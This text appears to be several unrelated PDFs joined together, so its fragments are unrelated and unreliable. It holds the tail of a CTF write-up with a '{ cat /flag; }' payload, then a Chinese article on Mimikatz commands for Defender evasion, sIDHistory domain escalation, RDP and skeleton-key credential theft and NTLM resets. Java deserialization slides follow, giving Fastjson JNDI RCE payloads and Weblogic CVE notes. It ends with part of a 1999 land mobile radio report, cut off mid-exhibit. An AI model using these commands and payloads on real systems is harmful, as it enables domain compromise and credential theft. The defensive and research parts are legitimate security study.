{ cat /flag; } -----------------------------123456-- https://tttang.com/archive/1450/ https://www.potato.gold/article/79.html https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html 参考 6 pycc 题后话 在公开⼀个半⼩时后出了第⼀解(2⼈ ⼏乎同时) 当天只有2解 第三天出第四解开始⼤批量上分 不愧是pycc 居然有⼏百个全栈⼤⽼做出来了这道题
pdf
Mimikatz那些鲜为⼈知的功能(⼀) #.内⽹渗透/mimikatz author: haya 作为Windows的神兵利器, sekurlsa::logonpasswords 、 lsadump::dcsync 可能是 Mimikatz使⽤频率⽐较⾼的两个功能了。⽽实际上,Mimikatz还有很多有意思的功能,可以通 过阅读源码进⼀步去了解。 本⽂主要是盘点Mimikatz的⼀些冷⻔功能,以及这些功能在实战中的具体使⽤场景。 1. rpc::server 这个功能主要是启动⼀个rpcserver,允许使⽤Windows rpc远程调⽤mimikatz。 通过这个RPC远程调⽤功能,可以绕过⼀些本地的基于字符串的特征查杀。⽐如 Defender,即使没有Mimikatz⽂件,只是命令⾏特征包含了 sekurlsa::logonpasswords ,也 会被查杀。 因为 rpc::server 这样的命令并不会查杀,这时候可以内存加载Mimikatz,启动监听Rpc server。注意这⾥的noauth是必须的,⽤于远程匿名调⽤。 然后本机挂代理即可远程操作这个mimikatz了 Impacket也实现了远程Rpc调⽤mimikatz的功能,⽆需账户密码,操作如下: Mimikatz实际上也是使⽤了Windows Remote Procedure Call (RPC),关于rpc, mimikatz有不少可以学习的知识点,会在下期进⾏展开。 2. sid::add / sid::patch 这个技巧来⾃于中安⽹星-御守实验室,具体原理参考: https://mp.weixin.qq.com/s/OHbFhqyLQlx5W2W40PRoLg 以前跨⽗⼦域,常⽤⻩⾦票据+sidhistory的⽅法,参考https://adsecurity.org/? p=1640,现在使⽤ sid::add ⽆需注⼊票据,直接将⼦域域管的sIDHistory属性设置为⽗域域 管的SID,摇身⼀变成为根域管理员。 privilege::debug sid::patch sid::add /sid:xxx /new:xxx 3. ts::logonpasswords 这是今年新加的功能,⽤于抓取明⽂的RDP密码(需要注意的是,这和DPAPI解3389连接 密码是两个完全不同的东⻄)。 ⼀个⽐较常⻅的场景是:当域管理员远程RDP到某台服务器时,即可通过此命令抓取域管 理员的明⽂密码(域管的密码⼀般⽐较复杂,⽆法通过hash解明⽂),这算是为数不多的,⽆需 任何修改可以直接抓到明⽂密码的⽅式了。 4. misc::skeleton misc::skeleton 这个功能⼜叫万能密码,使⽤后所有的域⽤户会多出⼀个额外的 mimikatz万能密码,在域控重启后失效。这并不算冷⻔的功能,但是因为⼀些独特使⽤场景仍 然将其列了出来。 使⽤⽅法如上图,在DC上执⾏即可。多数⽂章讲到:当执⾏完上述命令后,就可以使⽤ “mimikatz”作为⼀个万能密码,去连接域控。 ⽽实际场景中,这个万能密码对Exchange邮箱、接⼊域认证的VPN等使⽤Windows域认 证的服务都是有效的,也就是说可以使⽤mimikatz这个通⽤密码去登录邮箱VPN。 当然,这个固定的mimiktaz密码实战中也容易被别⼈上⻋,所以⾃定义这个密码也是有必 要的,具体的⽅法会在下期展开。 5. lsadump::setntlm 这个功能主要⽤于设置hash,⽤法为 lsadump::setntlm /server:192.168.1.1 /user:test /ntlm:xxxx 还有⼀个修改域⽤户ntlm的⽅法 lsadump::changentlm /server:192.168.1.1 /user:test /old:xxx /newpassword:xxxxx 说起具体使⽤场景,不得不提mimikatz dcsync这个家喻户晓的功能。⼀般dcsync会使⽤ 如下命令 lsadump::dcsync /csv /all /domain:xxx.com 有时候会遇到解不开的hash,这时候可以尝试⽤dcsync同步⽤户历史hash的功能,如下 图,ntlm-0代表的是当前hash,ntlm-1代表的是上⼀次的hash,以此类推。 不少⽤户⾯对三个⽉⼀年就改⼀次的密码,为了⽅便记忆,会依次设置形如 password@2020 password@2021这样的密码,通过破解历史密码,就可能猜到⽆法破解的 当前密码。设置密码直接使⽤ lsadump::setntlm 这样的功能,也是⼗分⽅便的。
pdf
Java反序列化实战 绿盟科技安全研究经理 廖新喜(@xxlegend) 绿盟科技攻防实验室招人 • 研究方向:webshell检测,安全大数据分析 • 联系邮箱:liaoxinxi[@]nsfocus.com或者 liwenjin[@]nsfocus.com • 绿盟科技 安全研究经理 • 看雪大会讲师,Pycon大会讲师,央视 专访嘉宾 • 向RedHat、Apache、Amazon, Weblogic,阿里提交多份RCE漏洞报告 • 博客:xxlegend.com 个人介绍 反序列化入门 Fastjson Weblogic 反序列化防御 反序列化入门 • 序列化是用于将对象转换成二进制串存储,对应着writeObject • 反序列正好相反,将二进制串转换成对象,对应着readObject • 类必须实现反序列化接口 序列化和反序列化 • 工具:SerializationDumper • Magic头:0xaced • TC_OBJECT:0x73 • TC_CLASS:0x72 • serialVersionUID • newHandle 存储格式 • http参数,cookie,sesion,存储方式可能是base64(rO0), 压缩后的base64(H4sl),MII等 • Servlets HTTP,Sockets,Session管理器 包含的协议就包括 JMX,RMI,JMS,JNDI等(\xac\xed) • xml Xstream,XMLDecoder等(HTTP Body:Content- Type:application/xml) • json(Jackson,fastjson) http请求中包含 使用场景 • Ysoserial 原生序列化PoC生成 • Marshalsec 第三方格式序列化PoC生成 • Freddy burp反序列化测试插件 • Java-Deserialization-Cheat-Sheet 反序列化项目 Fastjson Weblogic • Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序 快速匹配”的算法,号称Java语言中最快的JSON库。 • 提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化 • 序列化 • 反序列化 Fastjson简介 • 基于TemplateImpl • 基于JNDI a) Bean Property类型 b) Field类型 c) Demo:https://github.com/shengqi158/fastjson-remote-code-execute-poc Fastjson PoC分类 • 基于hash加密算法,不可逆 • 简单穷举,基本算不出来 • 爬取Maven仓库,提取所有库 Fastjson黑名单 一个loadClass的锅 1.2.43的绕过方法是 [com.sun.rowset.RowSetImp. 1.2.41的绕过方法是 Lcom.sun.rowset.RowSetImpl; 1.2.42的绕过方法是 LLcom.sum.rowset.RowSetImpl;; PoC示例: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true} 基于ibatis {"@type":"org.apache.ibatis.datasource.jndi. JndiDataSourceFactory","properties":{"data_ source":"rmi://localhost:1099/Exploit"}} 1.2.45 PoC 直接利用data_source • Weblogic是第一个成功商业化的J2EE应用服务器 • 在Oracle旗下,可以与其他Oracle产品强强联手 • WebLogic Server Java EE 应用基于标准化、模块化的组件; WebLogic Server 为这些模块提供了一组完整的服务,无需编 程即可自动处理应用行为的许多细节 • 独有的T3协议 Weblogic Weblogic 2017 Weblogic 序列化漏洞 CVE-2015-4852 Commons-Collections CVE-2016-3510 MarshalledObject CVE-2016-0638 StreamMessage CVE-2017-3248 JRMPListener CVE-2017-10271 XMLDecoder绕过 CVE-2017-3506 XMLDecoder CVE-2018-2628 JRMPClient • 基于T3 • 新的攻击面 • 基于commons-collections • 采用黑名单修复 • 作用位置有限 CVE-2015-4852 weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream weblogic.rjvm.MsgAbbrevInputStream.class weblogic.iiop.Utils.class org.apache.commons.collections.functors* com.sun.org.apache.xalan.internal.xsltc.trax* javassist* org.codehaus.groovy.runtime.ConvertedClosure org.codehaus.groovy.runtime.ConversionHandler org.codehaus.groovy.runtime.MethodClosure CVE-2016-0638 1,在readExternal位置加上黑名单处理机制 2,处理策略就是将ObjectInputStream换成了 FilteringObjectInputStream • CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder导致的漏洞 • CVE-2017-10271 是3506的绕过 • 都是挖矿主力军 • 基于http协议 基于XMLDecoder 基于XMLDecoder CVE-2017-3506补丁只是限定object CVE-2017-10271则限定了所有具有执行的节点 CVE-2017-3248 从resolveClass处设置了黑名单 1,从resolveProxyClass设置了黑名单 2,典型的依据PoC构造补丁 3,CVE-2018-2628雏形 • 完美绕过CVE-2017-3248 • 基于StreamMessage封装 • Activator 绕过补丁限制 • Proxy非必须项 CVE-2018-2628 CVE-2018-2628 1,MuxableSocketT3.dispatch 2,InboundMsgAbbrev.readObject 3,ObjectInputStream.readExternalData 4,StreamMessageImpl.readExternal 5,RemoteObject.readObject 6,UnicastRef.readExternal 7,LiveRef.read JDK7u21 反序列 攻击流程 1,建立JRMP 服务,等待连接 2,将jrmp地址嵌入到poc中, 发送poc 3,weblogic报错,弹出计算器 Weblogic防御 • 过滤T3协议 • 设置Nginx反向代理 • JEP290(JDK8u121,7u131,6u141) 黑名单: maxdepth=100; !org.codehaus.groovy.runtime.ConvertedClosure; !org.codehaus.groovy.runtime.ConversionHandler; !org.codehaus.groovy.runtime.MethodClosure; !org.springframework.transaction.support.AbstractPlatformTra nsactionManager; !sun.rmi.server.UnicastRef; !org.apache.commons.collections.functors.*; !com.sun.org.apache.xalan.internal.xsltc.trax.*; !javassist.* 反序列化防御 反序列化防御 • 不要反序列化不可信的数据 • 给反序列数据加密签名,并确保解密在反序列之前 • 给反序列化接口添加认证授权 • 反序列化服务只允许监听在本地或者开启相应防火墙 • 升级第三方库 • 升级JDK,JEP290 好消息和坏消息 • Oracle计划放弃反序列化支持,三分之一多漏洞与之相关 • 历史包袱很重,底层机制JRMP,RMI等 • 非原生反序列机制同样存在反序列化问题 微博 公众号
pdf
PSWN PSWN Public Safety Wireless Network Comparisons of Conventional and Trunked Systems May 1999 Comparisons of Conventional and Trunked Systems May 1999 ii FOREWORD Land mobile radio (LMR) networks are critical for public safety communications. In support of the Public Safety Wireless Network (PSWN) Program Management Office (PMO), Booz•Allen & Hamilton analyzed conventional, trunked, and hybrid system architectures to provide background information to public safety system planners on the different architecture alternatives. Comparisons of Conventional and Trunked Radio Systems considers typical systems architectures. However, it does not analyze specific vendor systems, implementations, or technical requirements. This report does not reflect a government position or endorse a particular type of LMR network architecture. Comparisons of Conventional and Trunked Systems May 1999 iii TABLE OF CONTENTS PAGE FOREWORD....................................................................................................................II TABLE OF CONTENTS................................................................................................III TABLE OF EXHIBITS ..................................................................................................IV 1.0 INTRODUCTION................................................................................................. 1 2.0 LMR TECHNOLOGY AND ARCHITECTURES............................................ 2 2.1 Brief History of LMR.................................................................................. 2 2.2 Conventional Systems................................................................................. 3 2.3 Techniques for Improving and Extending Area Coverage.......................... 4 2.4 Trunked Systems......................................................................................... 9 2.5 Hybrid Systems ......................................................................................... 13 3.0 ANALYSIS CONSIDERATIONS ..................................................................... 15 3.1 List of Analysis Considerations ................................................................ 15 3.2 Analysis Considerations Definitions......................................................... 16 4.0 SUMMARY OF RESULTS MATRIX.............................................................. 20 5.0 ARCHITECTURE ANALYSIS AND COMPARISON................................... 23 5.1 Spectrum Efficiency.................................................................................. 23 5.2 Grade of Service (GOS) ............................................................................ 24 5.3 Network Capacity...................................................................................... 25 5.4 Call Setup Time......................................................................................... 25 5.5 Network Architecture................................................................................ 26 5.6 Network Scalability................................................................................... 27 5.7 Network Encryption .................................................................................. 28 5.8 Network Security....................................................................................... 29 5.9 Network Robustness.................................................................................. 30 5.10 Multiorganizational Interoperability ......................................................... 32 5.11 Ability To Handle Multiple Voice and Data Applications........................ 32 5.12 Technology Evolution............................................................................... 33 5.13 Policy Impact............................................................................................. 34 5.14 Compatibility with Legacy Systems.......................................................... 38 5.15 Required User Discipline .......................................................................... 38 5.16 Network Management............................................................................... 39 5.17 Network Operator Training....................................................................... 40 5.18 Network Cost Effectiveness...................................................................... 41 5.19 Considerations for Migration to Trunking ................................................ 43 6.0 SUMMARY.......................................................................................................... 46 APPENDIX A. LIST OF ACRONYMS ....................................................................... 1 APPENDIX B. IMPACT OF ARCHITECTURE ON NETWORK CAPACITY AND CALL DELAY............................................................................................. 1 APPENDIX C. COSTING ASSUMPTIONS AND MATHEMATICAL CAPACITY CONSIDERATIONS FOR TRUNKED SYSTEMS .................... 1 C.1 Assumptions................................................................................................ 1 C.2 Traffic Models Used.................................................................................... 1 APPENDIX D. REFERENCE LIST............................................................................. 1 APPENDIX E. GLOSSARY.......................................................................................... 1 Comparisons of Conventional and Trunked Systems May 1999 iv TABLE OF EXHIBITS Exhibit 1 Single-Site Conventional System Configuration Operating in Half or Full Duplex.................................................................................................4 Exhibit 2 Receiver Voting System ............................................................................5 Exhibit 3 Typical System Configuration of a Two-Site Simulcast or Multicast System.........................................................................................................6 Exhibit 4 Frequency Layout of a Seven-Site Simulcast LMR System ..................7 Exhibit 5 Frequency Layout of a Ten-Site Multicast or Zone-Type LMR System with Frequency Reuse Ratio of 7 .............................................................8 Exhibit 6 Typical Configuration of a Centralized Trunked System...................10 Exhibit 7 An Example of User Talk Groups in a Trunked System.....................12 Exhibit 8 Example of a User Group Structure for a Hybrid System..................14 Exhibit 9 High-Level Definitions of Analysis Considerations .............................15 Exhibit 10 Spectrum Efficiency................................................................................23 Exhibit 11 Trunked Radio Call Setup Time............................................................26 Exhibit 12 Refarmed Frequency Bands...................................................................35 Exhibit 13 Estimated Network Architecture/Technology Capacity and Cost Comparison in Relation to Legacy Systems..........................................42 Exhibit 14 Table of Co-Channel and Adjacent Channel Frequency Coordination Requirements...........................................................................................43 Exhibit 15 Table of Service Area Calculation Requirements ................................44 Exhibit 16 Table of Service Area Calculation Requirements ................................44 Exhibit 17 Conventional and Trunked Radio Channel Transmit Delay Comparison (CSMA Versus Queued Access).........................................2 Exhibit 18 Trunked versus Conventional Capacity Estimated Using Two Finite Source Traffic Models...............................................................................3 Exhibit 19 Trunked versus Conventional Capacity Estimated Using Two Finite Source Traffic Models (Up to Five Channels) ........................................4 Comparisons of Conventional and Trunked Systems 1 May 1999 1.0 INTRODUCTION Increasing demands on frequency spectrum, a finite resource, force users create conditions force users to look for more spectrum-efficient systems, which the market is manufacturing along with increased features. Land mobile radio (LMR) systems are changing significantly. These changes include the introduction of narrowband digital LMR systems, the deployment of 800 megahertz (MHz) systems, the incorporation of advanced user services and features, and the development of alternative network architectures. Therefore, system planners may need to conduct a wide range of comparative analyses to determine the type of system that is most appropriate for their environment and requirements. Planners in public safety agencies need to consider, in addition, the special requirements imposed by their mission and operations. An essential decision for LMR system planners is determining which system architecture should be implemented to meet technical, operational, and environmental requirements. In general, LMR systems are designed using one of three architectures: conventional, trunked, or a hybrid of the two. The selection of one architecture over the others is based on a range of factors, including spectrum, technical features, operational requirements, and cost considerations. Comparisons of Conventional and Trunked Radio Systems is intended to provide background information for system planners, especially those in public safety agencies, to assist them in their evaluation of architecture options. Specifically the report— • Informs system planners about the technical components and operational characteristics of LMR system architectures. • Identifies essential technical and operational characteristics and considerations that relate to LMR performance and public safety communication requirements. • Analyzes each architecture to highlight performance characteristics of, and the essential differences among, the alternatives. • Provides system planners with descriptive information, analysis results, and operational considerations to foster decision making. This document analyzes and compares conventional, trunked, and hybrid LMR systems. It provides high-level definitions of the architecture alternatives and analysis considerations. It then discusses each consideration as it applies to each of the architecture alternatives. Comparisons of Conventional and Trunked Systems 2 May 1999 2.0 LMR TECHNOLOGY AND ARCHITECTURES 2.1 Brief History of LMR Federal Communication Commission (FCC) rules define a land mobile radio system as a regularly interacting group of base, mobile, and associated control and fixed relay stations intended to provide land mobile radio communications service over a single area of operation. The term mobile refers to movement of the radio, rather than association with a vehicle; hence mobile radio encompasses handheld and portable radios. The possibility of radio communications was established in 1864 by James Clerk Maxwell, then a professor of physics at Cambridge University. Maxwell showed theoretically that an electrical disturbance, propagating at the speed of light, could produce an effect at a distance. Theory was first put into practice by Hertz, who demonstrated spark-gap communications over distances of several feet in the 1880s. The distance was rapidly extended by Marconi, who by 1901 succeeded in transmitting Morse code across the Atlantic ocean. The vacuum tube made speech transmissions practical and by 1915 the American Telephone & Telegraph company had sent speech transmissions from Washington, D.C., to Paris and Honolulu. The first practical land mobile communications occurred in 1928 when the Detroit Police Department finally succeeded in solving the instability and low sensitivity problems that had plagued their mobile receiver designs for 7 years. By 1933, a mobile transmitter had been developed, allowing the first two-way police system to operate in Bayonne, New Jersey. The 1939 success of a state-wide Connecticut highway patrol system using frequency modulation (FM) led to a nationwide phase-out of amplitude modulated equipment. By 1933 the need for radio regulation was also apparent and the first operating rules were mandated by the Federal Radio Commission. The Federal Communications Commission was established one year later. Twenty-nine very high frequency (VHF) channels between 30 and 40 MHz (known today as low band) were allocated for police use. In 1946 the initial rules for the Domestic Public Land Mobile Radio Service were established and high band frequencies between 152 and 162 MHz were allocated. Small businesses could now purchase airtime from common carriers, thus avoiding the large startup costs of a private system. Previously only certain industries had access to mobile radio frequencies; for example, public safety, public utilities, transportation, and the media. Since then, the rapid growth of the land mobile radio industry has been accompanied by substantial additional spectrum allocations in the ultra high frequency (UHF) band (406 to 512 MHz), and the 800- and 900-MHz bands. Nonetheless, it appears that practical mobile spectrum is unlikely to significantly increase because there is nothing left to allocate; hence, today’s strong push toward more efficient use of the spectrum already allocated. Comparisons of Conventional and Trunked Systems 3 May 1999 Increased efficiency can be achieved in a variety of ways. Technological advancements in frequency control have allowed the 900-MHz band to be channelized at 12.5 kHz. Major improvements have been occurring in speech coding and modulation efficiency. Trunking of groups of radio channels allows operation at much higher loading levels than single channels can handle with acceptable access delay. Finally, the cellular radio telephone service introduced in 1981 has boosted spectrum efficiency through geographic reuse of channels in the same metropolitan coverage area. [1] These advances in technology have a profound effect on public safety communications infrastructure and operations described later in this study. Typically, LMR systems are designed using one of three architectures: conventional, trunked, or hybrid, which is a combination of the two. This section briefly describes the architectures and principal differences between them. 2.2 Conventional Systems 2.2.1 Simplex In simplex operation one terminal of the system transmits while the other terminal receives. Simultaneous transmission and reception at a terminal is not possible with simplex operation. The simplex dispatching system consists of a base station and mobile units, all operating on a single frequency. Simplex operation is sometimes referred to as single-frequency simplex. [2] 2.2.2 Half Duplex In half-duplex dispatching systems, the base station and the mobile transmit on two different frequencies. The base station transmits on the mobile’s receive frequency and vice versa. However, the half-duplex terminal equipment does not allow simultaneous transmission and reception. Half-duplex operation is sometimes referred to as two-frequency simplex. [2] Half-duplex configuration was designed to allow a repeater-type of operation, when a base station "repeats" and amplifies a mobile’s signal on a different frequency (see Exhibit 1). Half-duplex operation is used most commonly in public safety LMR systems. 2.2.3 Full Duplex In full-duplex operations, radios can transmit and receive simultaneously. As in half duplex, this operation uses two frequencies, the difference is that transmitter and receiver can be both powered and active full time. Repeater base stations typically operated in full-duplex mode, receiving on one frequency and re-transmitting the signal on another frequency, using separate Comparisons of Conventional and Trunked Systems 4 May 1999 transmit and receive antennas. For full-duplex single-antenna configuration, additional equipment is required such as duplexer, which enables the receiver and transmitter to use the same antenna simultaneously. LMR systems rarely use this type of operation, since full-duplex subscriber units are typically much more expensive and, if battery-powered, consume more battery power. 2.3 Techniques for Improving and Extending Area Coverage 2.3.1 Single-Site Systems In the beginning, LMR systems were built as single-site systems. A single-site system was designed to provide coverage for a small geographical area such as a factory, small town, or manufacturing facility. Single-site systems, which initially consisted of one simplex base station, evolved into the base station repeater which operated in a half-duplex fashion with a paired set of frequencies as shown in Exhibit 1. Mobile radio users communicate with a dispatch or other radio users by accessing the base station repeater, which retransmits the signal on the mobile receive frequency to all user radios. It also facilitates communicating with the dispatch console operator through the base station without using the repeater function. In all cases, the user radio must be within the range of coverage of the repeater, base station, or other radio asset. Base Station/ Repeater Site F1 (Talk-back) F2 “Hi Joe !” F2 (Talk-out) F1 “Hi Joe !” Mobile Radio User Portable Radio User Exhibit 1 Single-Site Conventional System Configuration Operating in Half or Full Duplex 2.3.2 Receiver Voting Systems The base transmitter in a LMR system typically has much more power than mobiles or portable radios. The base antenna is typically at a much higher elevation than mobile or portable radio antennas. For these reasons, mobiles and portables communications are limited by their talkback capability. Comparisons of Conventional and Trunked Systems 5 May 1999 Base Station Site “Hi Jack!” Network Gateway Telephone Interconnect Comparator Receive-Only Site Receive-Only Site Telephone Interconnect Voting Receiver Voting Receiver Voting Receiver “Hi Jack!” “Hi Jack!” Voted Audio Mobile Radio User Exhibit 2 Receiver Voting System One way to improve the talkback capability is to use a receiver voting system, as shown in Exhibit 2. A number of radio receivers located in strategic areas receive the RF signal from a mobile or portable unit. Receive-only sites act as “listening-only” base stations that receive the lower power signals of mobiles and portables and relay them back to a base station or repeater, usually via dedicated telephone or microwave links. By using one or more receive-only sites in conjunction with a high-power base station or repeater transceiver, the overall system talk back coverage can be expanded. A receiver voter or comparator is used to select the best receive signal. The comparator is usually located in a dispatching center. The "best" signal is voted in the comparator and the dispatcher hears that voted audio. To provide a reliable talkback coverage when hand-held radios are used, the number of voting receivers must be increased considerably, compared to mobile-only talkback coverage, because of the lower transmitter power and antenna efficiency. [2] Comparisons of Conventional and Trunked Systems 6 May 1999 2.3.3 Multi-Site Systems Coverage overlap area Controller or Voter-Comparator Dedicated Line Base Station/ Repeater Site 1 Mobile Radio User Portable Radio User Base Station/ Repeater Site 2 Simulcast: Multicast: Dedicated Line Same Frequencies at each site Different Frequencies at each site Network Gateway Network Gateway Dispatch Console Telephone Interconnect Telephone Interconnect Public Switched Telephone Network Computer Data Network Exhibit 3 Typical System Configuration of a Two-Site Simulcast or Multicast System If the service area calls for multiple transmitter sites and simultaneous coverage of that area, broadcast-type systems are used. The two major kinds of such systems are simulcast and multicast (Exhibit 3). 2.3.4 Simulcast Systems Simulcast systems use several geographically separated base stations/repeaters that transmit on the same frequencies simultaneously (Exhibit 4). Through this type of a system deployment, a single radio channel can be radiated over a wider region than with a single-site transmitter. These networks require a timing system to synchronize each transmitter on the network to assure that transmissions on the same frequency are in phase thus reducing heterodyne interference. A simulcast system, when activated, performs a quasi-synchronous transmission, which means that the same message is transmitted at the same time on the same radio channel by two or more transmitters that are phase-locked to the same frequency. Such systems are used where: • A large service area must be covered by transmitters of moderate power, in which case there will be a small overlap in the coverage of the transmitters Comparisons of Conventional and Trunked Systems 7 May 1999 • Intensive (high signal-to-noise ratio) coverage is needed throughout the area, in which case there will be a substantial overlap in the coverage of the transmitters that are used to provide diversity against shadowing (fading) • Available spectrum is insufficient to implement a multicast or zone-type system. Channels F1 - Fn have coverage over the entire service area. Channels F1 - Fn have coverage over the entire service area. F1 - Fn F1 - Fn F1 - Fn F1 - Fn F1 - Fn F1 - Fn F1 - Fn Exhibit 4 Frequency Layout of a Seven-Site Simulcast LMR System Comparisons of Conventional and Trunked Systems 8 May 1999 2.3.5 Multicast Systems Channels F1 - Fn are divided into 7 groups (G1-G7). Each site is assigned a frequency group different from adjacent sites to minimize co-channel interference. Channels F1 - Fn are divided into 7 groups (G1-G7). Each site is assigned a frequency group different from adjacent sites to minimize co-channel interference. Channel Group G7 Channel Group G2 Channel Group G1 Channel Group G6 Channel Group G3 Channel Group G5 Channel Group G4 Channel Group G6 Channel Group G5 Channel Group G7 Exhibit 5 Frequency Layout of a Ten-Site Multicast or Zone-Type LMR System with Frequency Reuse Ratio of 7 Multicast systems are similar to simulcast systems with exception of the radio channels transmitted. While a simulcast system transmits on the same RF channels simultaneously from each base station/repeater, multicast systems use different RF channels at each site (Exhibit 5). Frequencies are reused in different cells, but the arrangement ensures the same frequency is never used in adjacent cells. This configuration offers the same coverage advantages of a simulcast system, eliminates the occurrence of co-channel interference from multiple sites, and allows smaller cell configuration which can allow greater RF penetration within the cell. However, multicast systems require multiple frequencies (limited available spectrum) and their users need to change mobile channels as they move between cells. The main disadvantage of a broadcast-type architecture is that though it significantly expands coverage area compared with a single-site system, it does not increase capacity. For example, when two users occupy a channel at one site, that channel normally cannot be used at the same time by other users at different sites. Comparisons of Conventional and Trunked Systems 9 May 1999 2.3.6 Zone-Type Systems The disadvantage of lower user density is solved by applying zone approach and trunking logic. The coverage area is divided into zones served by different sites. The same channel can be used simultaneously by different groups of users at different sites thus enabling the system to handle a higher user density compared to broadcast-type systems. The frequency layout of zone- type systems is very similar to that of multicast LMR and cellular telephone systems. Frequencies are reused in different cells, but the arrangement ensures the same frequency is never used in adjacent cells (Exhibit 5). Frequency reuse patterns are defined by the ratio of the distance between identical frequency cells to the cell radius, which is a function of the desired carrier-to-interference ratio for the system design. The frequency reuse ratio is usually 4 or 7. A frequency layout for a system with a frequency reuse ratio of 7 is shown in Exhibit 5. The main advantage of zone architecture is that it provides frequency reuse across the coverage area. The main disadvantage of the architecture is the high number of frequencies it needs. For example, if a frequency reuse ratio of 4 is chosen, a 10-channel system requires 40 frequency pairs, or 70 pairs if a reuse ratio of 7 is used. Zone architecture is used mainly in trunked systems, because it requires the use of a central control computer to operate. 2.4 Trunked Systems At the present time the land mobile frequency spectrum is very crowded and additional frequencies are difficult to obtain. For this reason there has been a great deal of work in developing new techniques to conserve spectrum. Trunking is one of these conservation systems. Trunking is the commonly accepted term for electronically controlled sharing of a relatively small number of communications channels among a relatively large number of users. In general terms, a trunk is a shared voice or data traffic path between two points. Trunked systems use access control schemes to share channel capacity among many users. The electronic control enables users to take advantage of the fact that some transmitted channels are idle at a particular time while others are busy. This results in a more balanced load sharing between trunks. This is in contrast to a non-trunked or conventional system, where the users exercise their own coordination regarding access to system resources, by listening for idle time and making manual channel selections, which may result in unbalanced channel loads. [2] Trunked architectures differ by implementation of the system’s control logic. There are two main types of trunking architectures: dedicated control channel (centralized trunking by FCC definition) and subaudible signaling control (decentralized trunking).1 A combination of the two is also used in some systems. In a dedicated control channel system (centralized trunked system), the system controller is the centralized logic of the system. It communicates with the units by way of the control The trunking types listed may have a variety of names depending on the vendors; however the concepts remain the same. Comparisons of Conventional and Trunked Systems 10 May 1999 channel. All other channels act as repeaters for communications between user radios. When user radios are not communicating, they continuously monitor the control channel. When a user radio needs to communicate, it sends out a channel request on the control channel. This request includes the ID of the talk group with which the radio wants to communicate. The system controller checks whether a vacant channel is available or not, and sends instructions to units on the control channel. This type of trunked architecture typically places blocked calls in a queue to wait for a vacant channel thus minimizing lost calls. Typically, a first-in-first-out queuing principle is used. As soon as a channel becomes available, a queued system signals it to the user radio. To assess traffic load performance of a system of this type, the Erlang C model is typically used, which calculates the average delay in queue. The typical trunking system consists of some type of access control (whether in each mobile unit or centralized at a base station site), switching equipment, system management computer, control and voice channel repeaters, modems, and telephone interconnect as illustrated in Exhibit 6. Centralized trunking uses a microprocessor that governs all of the base station repeaters after receiving and processing service requests over the control channel. The switching equipment provides the interface between dispatch consoles and the central controller. The system computer allows computer access and monitoring of the central controller. In addition, trunking systems can be programmed to include specific options depending on the user’s needs. Talk groups, encryption, emergency (e.g., man-down) operation, and telephone access are examples of some of the programming options. Dispatch Consoles Switching Equipment Modem System Control Computer Telephone Interconnect Base Station Repeater Central Controller Base Station Repeater Base Station Repeater Public Switched Telephone Network Network Gateway Computer Data Network (X.25, TPC/IP, SNA, etc.) Trunked System Infrastructure Portable Radio User Mobile Radio User Exhibit 6 Typical Configuration of a Centralized Trunked System A typical operational pattern of control channel trunking is as follows: User A wants to contact all of the units in his or her talk group. The Push-to-Talk (PTT) is keyed, which causes the radio to send a short burst of data to the control channel repeater. This data identifies the caller attributes and enters a channel request to the system controller. User A’s radio then switches to receive mode to await a data response from the controller. Upon receipt of the request, the system controller attempts to select an available voice channel. If a voice channel is available, the system controller sends a data message over the control channel switching all units in User A’s talk group to the available voice channel. Only units in this particular talk group are Comparisons of Conventional and Trunked Systems 11 May 1999 automatically switched to the assigned channel. When User A starts talking, all the members of the talk group will hear the conversation. This preempts any other use of that assigned channel for the duration of the call. Trunked systems with subaudible control signaling, also known as scan-based or decentralized trunked systems, do not require a separate control channel and all channels can be used for communications between users. Each user radio monitors subaudible control data transmissions from its home channel continuously when it is not engaged in communications with other users. A home channel is one of the repeater transmit frequencies to which a particular user radio is assigned. The control information received subaudibly tells user radios what channel they should switch to if they need a channel to initiate communications or receive a call. It also tells them if all channels are busy. If a user attempts to initiate communications, he or she will hear a busy tone. The logic in this system is distributed among each of the repeaters. A data bus connecting all of the sites updates the logic of individual sites to reflect which channels and sites are active and which are vacant. In this way, the system can operate without a system controller. The logic at each repeater can control those user radios for which it has a home channel. User radios are constantly advised of data relevant to the initiation and reception of communications. This design is usually limited to 15 channels. In trunked systems with subaudible signaling, blocked calls are usually lost rather than being placed in a queue to await a vacant channel. The user must attempt to initiate communications later. To assess traffic load performance of a system of this type, the Erlang B traffic model is typically used, which calculates the probability of lost calls. Modes of Trunking - Either type of trunked system architecture, control channel or subaudible control, has the capability to perform message or transmission trunking. Message- trunking mode, which is also called conversation trunking, uses a delay timer (hang time), which allows traffic an uninterrupted repeater (communication channel) for the entire conversation between several users. In a system operating in transmission-trunking mode, the repeater channel is relinquished immediately after each user releases the key of the radio during an ongoing conversation (no hang time). Subsequent transmissions within the same conversation are transferred to another repeater when the second party keys his or her radio. Message-trunking mode provides greater channel availability for the user, while transmission trunking provides a greater channel availability for the system. A third mode of trunking is a technique called quasi-transmission trunking. This technique holds a channel open for about one second after the last user de-keys the microphone (short hang time). Quasi-transmission trunking mode does not hold the channel as long as message trunking after the microphone has been de-keyed. This should result in fewer times when the repeater is unavailable to other users. At the same time, the channel is held long enough for users to keep the channel if they respond quickly (in less than one second) to each other’s transmissions. Comparisons of Conventional and Trunked Systems 12 May 1999 Users do not manually select individual radio channels in a trunked system, unlike the procedure in a conventional system. Instead, they select talk groups, by performing essentially the same physical action of setting a knob to a different number. Each user radio is affiliated with at least one group and/or subgroup and has an individual ID. These groups may be called fleets and subfleets, or announcement groups and talk groups, depending on the manufacturer of the particular system. A talk group can be a subset of an announcement group as illustrated in Exhibit 7. When a member of a talk group initiates a conversation, the trunked system controller automatically allocates one of the free radio channels to that talk group. Each radio in the talk group is automatically tuned to the allocated channel for the duration of the transmission without the user’s involvement. Public Works Fire & Rescue Police SYSTEM LEVEL ANNOUNCEMENT GROUP / FLEET LEVEL Police Dispatch Operation Vice Squad Traffic Fire Dispatch Fire Ground Command 1 Fire Ground Command 2 Arson Parks & Recreation Water & Sewer Roads & Transportation TALK GROUP / SUBFLEET LEVEL County Government 